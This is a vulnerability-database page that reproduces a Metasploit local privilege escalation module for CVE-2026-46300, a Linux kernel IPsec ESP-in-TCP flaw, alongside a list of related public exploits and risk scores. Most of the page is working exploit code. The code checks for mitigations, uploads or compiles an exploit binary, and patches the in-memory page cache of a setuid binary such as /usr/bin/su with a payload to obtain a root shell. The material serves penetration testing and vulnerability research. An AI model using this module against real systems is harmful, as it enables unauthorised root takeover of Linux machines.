Fragnesia LPE (CVE-2026-46300)
🗓️ 14 May 2026 00:00:00Reported by William Bowling, msutovsky-r7Type
metasploit🔗 www.rapid7.com👁 5 Views
| Reporter | Title | Published | Views | Family All 543 |
|---|---|---|---|---|
| Exploit for Write-what-where Condition in Linux Linux_Kernel | 30 Jun 202618:15 | – | githubexploit | |
| Exploit for Out-of-bounds Write in Linux Linux_Kernel | 3 Jun 202609:19 | – | githubexploit | |
| Exploit for CVE-2026-46300 | 20 May 202615:11 | – | githubexploit | |
| Exploit for Out-of-bounds Write in Linux Linux_Kernel | 2 Jun 202615:08 | – | githubexploit | |
| Exploit for Out-of-bounds Write in Linux Linux_Kernel | 22 Jun 202608:51 | – | githubexploit | |
| Exploit for CVE-2026-46300 | 14 May 202607:27 | – | githubexploit | |
| fragnesia-python-exploit | 21 Jun 202621:37 | – | githubexploit | |
| Exploit for CVE-2026-46300 | 17 May 202609:00 | – | githubexploit | |
| Exploit for CVE-2026-46300 | 14 May 202607:17 | – | githubexploit | |
| Exploit for Out-of-bounds Write in Linux Linux_Kernel | 2 Jun 202606:42 | – | githubexploit |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Architecture
include Msf::Post::Process
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fragnesia LPE (CVE-2026-46300)',
'Description' => %q{
This module exploits CVE-2026-46300, a Linux kernel local privilege
escalation vulnerability introduced in version 4.10. The flaw resides in the kernel's IPsec
ESP-in-TCP handling: when an ESP-encapsulated TCP segment containing a
shared fragment (SKBFL_SHARED_FRAG) is received and decrypted, the AES-GCM keystream
is applied to page cache pages of the target file without enforcing
write permissions. This allows an unprivileged attacker to overwrite
arbitrary bytes of a read-only file backed by the page cache. Upstream fix is ported
independently by different vendors, so there's release version from which each kernel is
not vulnerable anymore.
},
'References' => [
['CVE', '2026-46300'],
['URL', 'https://github.com/v12-security/pocs/tree/main/fragnesia']
],
'Author' => [
'William Bowling', # discovery / PoC
'msutovsky-r7' # metasploit module
],
'DisclosureDate' => '2026-05-14',
'License' => MSF_LICENSE,
'Arch' => ARCH_CMD,
'Platform' => ['linux', 'unix'],
'Targets' => [['Automatic', {}]],
'SessionTypes' => ['shell', 'meterpreter'],
'Privileged' => true,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]),
OptString.new('SUID_BINARY_PATH', [ true, 'The path to a suid binary', '/usr/bin/su' ])
])
end
def check
# it is based on same principle as dirty frag, so we can check the same mitigations
dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')
return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?
sysinfo = get_sysinfo
if sysinfo[:distro] =~ /[uU]buntu/
apparmor_restriction = cmd_exec('sysctl kernel.apparmor_restrict_unprivileged_userns')
return CheckCode::Safe('Ubuntu system detected, cannot create unprivileged user namespaces, which exploit requires') unless apparmor_restriction =~ /apparmor_restrict_unprivileged_userns = 0/
end
vuln_modules = %w[esp ipcomp]
return CheckCode::Unknown('The vulnerable modules have not been detected') unless kernel_modules.any? { |m| vuln_modules.include?(m) }
kernel_version = Rex::Version.new(kernel_release.split('-').first)
return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('4.10')
CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')
end
def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end
suid_binary_path = datastore['SUID_BINARY_PATH']
fail_with(Failure::BadConfig, "The #{suid_binary_path} isn't a setuid binary on target system") unless setuid?(suid_binary_path)
payload_dir = datastore['WRITABLE_DIR']
fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)
os_architecture = kernel_arch
vprint_status("Detected architecture: #{os_architecture}")
cmd_payload = framework.payloads.create("linux/#{os_architecture}/exec")
fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')
cmd_payload.datastore['CMD'] = payload.encoded
cmd_payload.datastore['PrependSetuid'] = true
elf = cmd_payload.generate_simple('Format' => 'elf')
exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
if live_compile?
vprint_status('Live compiling exploit on system...')
exploit_c = exploit_data('CVE-2026-46300', 'cve-2026-46300.c')
upload_and_compile(exploit_file, exploit_c)
else
fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(os_architecture)
vprint_status('Dropping pre-compiled exploit on system...')
exploit_bin = exploit_data('CVE-2026-46300', "cve-2026-46300_#{os_architecture}")
upload_and_chmodx(exploit_file, exploit_bin)
end
register_file_for_cleanup(exploit_file)
if session.type == 'meterpreter'
suid_binary_size = session.fs.file.stat(suid_binary_path).stathash['st_size']
else
suid_binary_size = session.shell_command("stat -c %s #{suid_binary_path}").to_i
end
print_status('Running the exploit')
fail_with(Failure::BadConfig, 'Payload too big for target setuid binary') unless suid_binary_size >= elf.size
# patch the in-memory pages of the setuid file
exploit_response = cmd_exec("echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}")
fail_with(Failure::NotVulnerable, 'The target seems to be patched') unless exploit_response.blank?
sleep(1)
print_status('Exploit successful, running the in-memory patched setuid binary')
# run the payload
cmd_exec(suid_binary_path.to_s)
end
def on_new_session(session)
if session.type.eql?('meterpreter')
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
session.sys.process.execute('/bin/sh', "-c 'echo 1 | tee /proc/sys/vm/drop_caches'")
else
session.shell_command_token('echo 1 | tee /proc/sys/vm/drop_caches')
end
super
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 May 2026 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 3.17.8
EPSS0.07006